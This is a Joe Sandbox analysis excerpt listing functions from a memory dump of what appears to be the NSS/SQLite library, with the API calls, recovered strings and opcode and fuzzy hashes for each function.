_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C73EF98

Strings

%s at line %d of [%.10s], xrefs: 6C73F492
database corruption, xrefs: 6C73F48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C73F483

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 28850cf51254283334594ba1b37a95bf5495e45952dccf00bfd165f8ab7e9b35
Instruction ID: 04b0b435e1a2e0f53fdd05dea966e3f53563e652aedba4d0620cbfe7fe0db600
Opcode Fuzzy Hash: 28850cf51254283334594ba1b37a95bf5495e45952dccf00bfd165f8ab7e9b35
Instruction Fuzzy Hash: 93624570A04265CFEB04CF28C644B9EBBB1BF49358F1851A9D8495BB93D335EC82CB90

Function 6C7E0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C7E0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C7E0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C7E1006
PK11_FreeSymKey.NSS3(?), ref: 6C7E101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7E1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7E103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C7E1048
memcpy.VCRUNTIME140(?,?,?), ref: 6C7E108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C7E10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C7E10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C7E112E

Part of subcall function 6C7E1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C7E08C4,?,?), ref: 6C7E15B8
Part of subcall function 6C7E1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C7E08C4,?,?), ref: 6C7E15C1
Part of subcall function 6C7E1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7E162E
Part of subcall function 6C7E1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7E1637

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 97c4d6103ecdda309775c6f3e8f3f31cdb4f2d0d167fad1e6e5918e9ef36d7d6
Instruction ID: 89b42003763ae9189ae13d6c7128f14100427858a6cea057e5a3534bccf7dfaf
Opcode Fuzzy Hash: 97c4d6103ecdda309775c6f3e8f3f31cdb4f2d0d167fad1e6e5918e9ef36d7d6
Instruction Fuzzy Hash: 0671D2B2A002058FDB10CFA9CE86A6AB7F1FF48318F14863CE51997712E731D954CB91

Function 6C79C650 Relevance: 16.5, APIs: 7, Strings: 2, Instructions: 760COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 6C79C859
0123456789ABCDEF, xrefs: 6C79D104

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID:
String ID: 0123456789ABCDEF$0123456789abcdef
API String ID: 0-885041942
Opcode ID: 9ba895bc6866875de1b147aca99a504ef611ab5b41c1ce336d6d1dec13f368ff
Instruction ID: a0bba24aac515a7b45a46317b38da49e7cbe4b183f9c6bd58405b9e6920c68d9
Opcode Fuzzy Hash: 9ba895bc6866875de1b147aca99a504ef611ab5b41c1ce336d6d1dec13f368ff
Instruction Fuzzy Hash: 2952143064C3418FDB14DF28E69135ABBE2EFCA359F148A2DE89987791D734D846CB42

Function 6C806C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C7B1C6F,00000000,00000004,?,?), ref: 6C806C3F

Part of subcall function 6C85C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C85C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C7B1C6F,00000000,00000004,?,?), ref: 6C806C60
PR_ExplodeTime.NSS3(00000000,6C7B1C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C7B1C6F,00000000,00000004,?,?), ref: 6C806C94

Strings

gfff, xrefs: 6C806D66
gfff, xrefs: 6C806D30
gfff, xrefs: 6C806CF5
gfff, xrefs: 6C806CFD
gfff, xrefs: 6C806D9C

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 0b61563b2330ee3e3a768161d21e42e9a69c71b6a125338294c5162cf22b1faf
Instruction ID: 30d641084a7fc9b67f0541b0a5c731541ec60cad4df82202fc6b89cb7e9aa340
Opcode Fuzzy Hash: 0b61563b2330ee3e3a768161d21e42e9a69c71b6a125338294c5162cf22b1faf
Instruction Fuzzy Hash: 74516B72B016494FC71CCEADDC527DABBDAABA4310F48C23AE842DB781D638D906C751

Function 6C880F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C881027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C8810B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C881353

Strings

NULL, xrefs: 6C88119E
'%.*q', xrefs: 6C881217, 6C881292
-- , xrefs: 6C880FF5
$, xrefs: 6C8812A0
%lld, xrefs: 6C88114B
zeroblob(%d), xrefs: 6C881223
%02x, xrefs: 6C8812F6

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 78951bf25726db26d0262031acc0879c7ccb3a60648a00bbf9cf86959955d6cf
Instruction ID: ad303c1e54f22d772a348817b109cc48576bba5f6306c1c6b6b00a9711fe6f33
Opcode Fuzzy Hash: 78951bf25726db26d0262031acc0879c7ccb3a60648a00bbf9cf86959955d6cf
Instruction Fuzzy Hash: 19E1A075A09340DFD724CF18CA80A6BBBF1AF86348F148D2DE9A587B51DB71E845CB42

Function 6C740FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C73CA30: EnterCriticalSection.KERNEL32(?,?,?,6C79F9C9,?,6C79F4DA,6C79F9C9,?,?,6C76369A), ref: 6C73CA7A
Part of subcall function 6C73CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C73CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C74103E
EnterCriticalSection.KERNEL32(?), ref: 6C741139
LeaveCriticalSection.KERNEL32(?), ref: 6C741190
sqlite3_free.NSS3(00000000), ref: 6C741227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C74126E
sqlite3_free.NSS3(?), ref: 6C74127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6C741267
winAccess, xrefs: 6C74129B

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: 018d57c3187e8b8c2ce23141d781eb9efbd025e3751336e81c7251310f7d9428
Instruction ID: a022f6a17d2899ac8ea0edcc157f082186b0206635a30c95275924ad63560b45
Opcode Fuzzy Hash: 018d57c3187e8b8c2ce23141d781eb9efbd025e3751336e81c7251310f7d9428
Instruction Fuzzy Hash: 40710972709201DFEB04EB25DE86A6A3375EB86354F24863DE811C7A90DB30D851CB92

Function 6C74AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C86CF46,?,6C73CDBD,?,6C86BF31,?,?,?,?,?,?,?), ref: 6C74B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C86CF46,?,6C73CDBD,?,6C86BF31), ref: 6C74B090
sqlite3_free.NSS3(?,?,?,?,?,?,6C86CF46,?,6C73CDBD,?,6C86BF31), ref: 6C74B0A2
CloseHandle.KERNEL32(?,?,6C86CF46,?,6C73CDBD,?,6C86BF31,?,?,?,?,?,?,?,?,?), ref: 6C74B100
sqlite3_free.NSS3(?,?,00000002,?,6C86CF46,?,6C73CDBD,?,6C86BF31,?,?,?,?,?,?,?), ref: 6C74B115
sqlite3_free.NSS3(?,?,?,?,?,?,6C86CF46,?,6C73CDBD,?,6C86BF31), ref: 6C74B12D

Part of subcall function 6C739EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C74C6FD,?,?,?,?,6C79F965,00000000), ref: 6C739F0E
Part of subcall function 6C739EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C79F965,00000000), ref: 6C739F5D

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 72bff74ff1e666ab7f33574e2e7df55634c521c8b68439f4d1e14224153d3f14
Instruction ID: 8fc83fee35907782539e358c2c4719812bcb5dfd9bb7589cf6fd35b694a1ae6f
Opcode Fuzzy Hash: 72bff74ff1e666ab7f33574e2e7df55634c521c8b68439f4d1e14224153d3f14
Instruction Fuzzy Hash: C891CEB1A08605CFEB14CF25CA85A6BB7B1FF46319F248A3DE45697A50EB30E844CB51

Function 6C888550 Relevance: 12.8, APIs: 6, Strings: 1, Instructions: 528stringCOMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000021B,recovered %d pages from %s,00000000,?), ref: 6C8885CC
memset.VCRUNTIME140(?,00000000,?), ref: 6C88893A
sqlite3_free.NSS3(?), ref: 6C888977
sqlite3_free.NSS3 ref: 6C8889A5
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C888B68
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C888B79

Strings

recovered %d pages from %s, xrefs: 6C8885C2

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: sqlite3_free$memsetsqlite3_logstrcmpstrlen
String ID: recovered %d pages from %s
API String ID: 638213775-1623757624
Opcode ID: 3d03371ba77e2f2e01786c61da1edbee4205c8837c8bf0836d1409214c412806
Instruction ID: 45f3b84c5d3025bd2758031e0d50225b57367bf3c09d2bf7e24fa5d0e34baedf
Opcode Fuzzy Hash: 3d03371ba77e2f2e01786c61da1edbee4205c8837c8bf0836d1409214c412806
Instruction Fuzzy Hash: D11248706093019FD714DF29CA85B6BB7F5AF89348F148D2EE99A87B51E730E804CB52

Function 6C8C8D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C9114E4,6C87CC70), ref: 6C8C8D47
PR_GetCurrentThread.NSS3 ref: 6C8C8D98

Part of subcall function 6C7A0F00: PR_GetPageSize.NSS3(6C7A0936,FFFFE8AE,?,6C7316B7,00000000,?,6C7A0936,00000000,?,6C73204A), ref: 6C7A0F1B
Part of subcall function 6C7A0F00: PR_NewLogModule.NSS3(clock,6C7A0936,FFFFE8AE,?,6C7316B7,00000000,?,6C7A0936,00000000,?,6C73204A), ref: 6C7A0F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C8C8E7B
htons.WSOCK32(?), ref: 6C8C8EDB
PR_GetCurrentThread.NSS3 ref: 6C8C8F99
PR_GetCurrentThread.NSS3 ref: 6C8C910A

Strings

%u.%u.%u.%u, xrefs: 6C8C8E74

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: c31d921e2f155bbda27b6291d89d2c52467e71c706c0052caa7b4fff010228f6
Instruction ID: b6554f6307d618765626cc8a25f755b7f3fc1cf64fe44d5a46a3c5427de4f568
Opcode Fuzzy Hash: c31d921e2f155bbda27b6291d89d2c52467e71c706c0052caa7b4fff010228f6
Instruction Fuzzy Hash: 6D02BB31B052558FDB34CF19C6693AABBB3EF42308F198A9BC8914BA91C335D905C792

Function 6C888FB0 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C8890DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C889118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C88915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C8891C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C889209

Strings

UUUU, xrefs: 6C889255
3333, xrefs: 6C88925E

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: _byteswap_ulong
String ID: 3333$UUUU
API String ID: 4101233201-2679824526
Opcode ID: ea5cf1944104aaa122d044c46a620b294fa686b1c35b0b581d421075032c38a2
Instruction ID: 2321544a0f8dbaaa6affe6643e78466ea8737d883be47ed8d9956e10d9e1a4d7
Opcode Fuzzy Hash: ea5cf1944104aaa122d044c46a620b294fa686b1c35b0b581d421075032c38a2
Instruction Fuzzy Hash: 1EA1CE72E001159BDB14CB68CD81BAEB7B5BF48328F194538E919A7B41E736EC01CBA1

Function 6C86A480 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 235COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C88C3A2,?,?,00000000,00000000), ref: 6C86A528
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C86A6E0
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C86A71B
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C86A738

Strings

%s at line %d of [%.10s], xrefs: 6C86A6D9
database corruption, xrefs: 6C86A6D4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C86A6CA

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: _byteswap_ushort$_byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 622669576-598938438
Opcode ID: 90a747f74fbaf6f8e8061ddcb240e32d20729d5e06eeac021ca4d63a9deef600
Instruction ID: fafee6922a5a631df5ac4193c99d9ede00987b6c37a3ce4348adc94862c751fc
Opcode Fuzzy Hash: 90a747f74fbaf6f8e8061ddcb240e32d20729d5e06eeac021ca4d63a9deef600
Instruction Fuzzy Hash: 7F91E3716083218BC724CF6AC6846AAB7E1BF48314F554E6DE895CBF91EB70EC44C792

Function 6C8468E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6C8468FC
PR_EnterMonitor.NSS3 ref: 6C846924

Part of subcall function 6C879090: TlsGetValue.KERNEL32 ref: 6C8790AB
Part of subcall function 6C879090: TlsGetValue.KERNEL32 ref: 6C8790C9
Part of subcall function 6C879090: EnterCriticalSection.KERNEL32 ref: 6C8790E5
Part of subcall function 6C879090: TlsGetValue.KERNEL32 ref: 6C879116
Part of subcall function 6C879090: LeaveCriticalSection.KERNEL32 ref: 6C87913F

Part of subcall function 6C7A07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C73204A), ref: 6C7A07AD
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C73204A), ref: 6C7A07CD
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C73204A), ref: 6C7A07D6
Part of subcall function 6C7A07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C73204A), ref: 6C7A07E4
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,6C73204A), ref: 6C7A0864
Part of subcall function 6C7A07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C7A0880
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,?,6C73204A), ref: 6C7A08CB
Part of subcall function 6C7A07A0: TlsGetValue.KERNEL32(?,?,6C73204A), ref: 6C7A08D7
Part of subcall function 6C7A07A0: TlsGetValue.KERNEL32(?,?,6C73204A), ref: 6C7A08FB

PR_EnterMonitor.NSS3 ref: 6C84693E
TlsGetValue.KERNEL32 ref: 6C846977
TlsGetValue.KERNEL32 ref: 6C8469B8
PR_ExitMonitor.NSS3 ref: 6C846B1E
PR_ExitMonitor.NSS3 ref: 6C846B39
TlsGetValue.KERNEL32 ref: 6C846B62

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: 231a8f58d85e56052b2f9907686f99b37e378a0986fea7a1e677e4674e91755a
Instruction ID: 13f6bbb9120a67b7c26402b9f94e5d2f35a2ba4346a67a3422ae08f819f52cd9
Opcode Fuzzy Hash: 231a8f58d85e56052b2f9907686f99b37e378a0986fea7a1e677e4674e91755a
Instruction Fuzzy Hash: 5891907465810CDBDB60DF2DC68055D7BB2FB83308B61CA59C884EFA19E771D981CB92

Function 6C74EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

not authorized, xrefs: 6C74F957, 6C74F9BA
temporary table name must be unqualified, xrefs: 6C74F734
there is already an index named %s, xrefs: 6C74F9D7
table, xrefs: 6C74F05C, 6C74FABC, 6C74FAC7
view, xrefs: 6C74F061, 6C74F071, 6C74FAB7
sqlite_temp_master, xrefs: 6C74F0A6, 6C74F2D5
sqlite_master, xrefs: 6C74F0AB, 6C74F2DA, 6C74F757, 6C74F93E
authorizer malfunction, xrefs: 6C74F95C, 6C74F9BF, 6C74FA5E, 6C74FA8B
%s %T already exists, xrefs: 6C74FAC8

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CriticalSection$EnterLeave
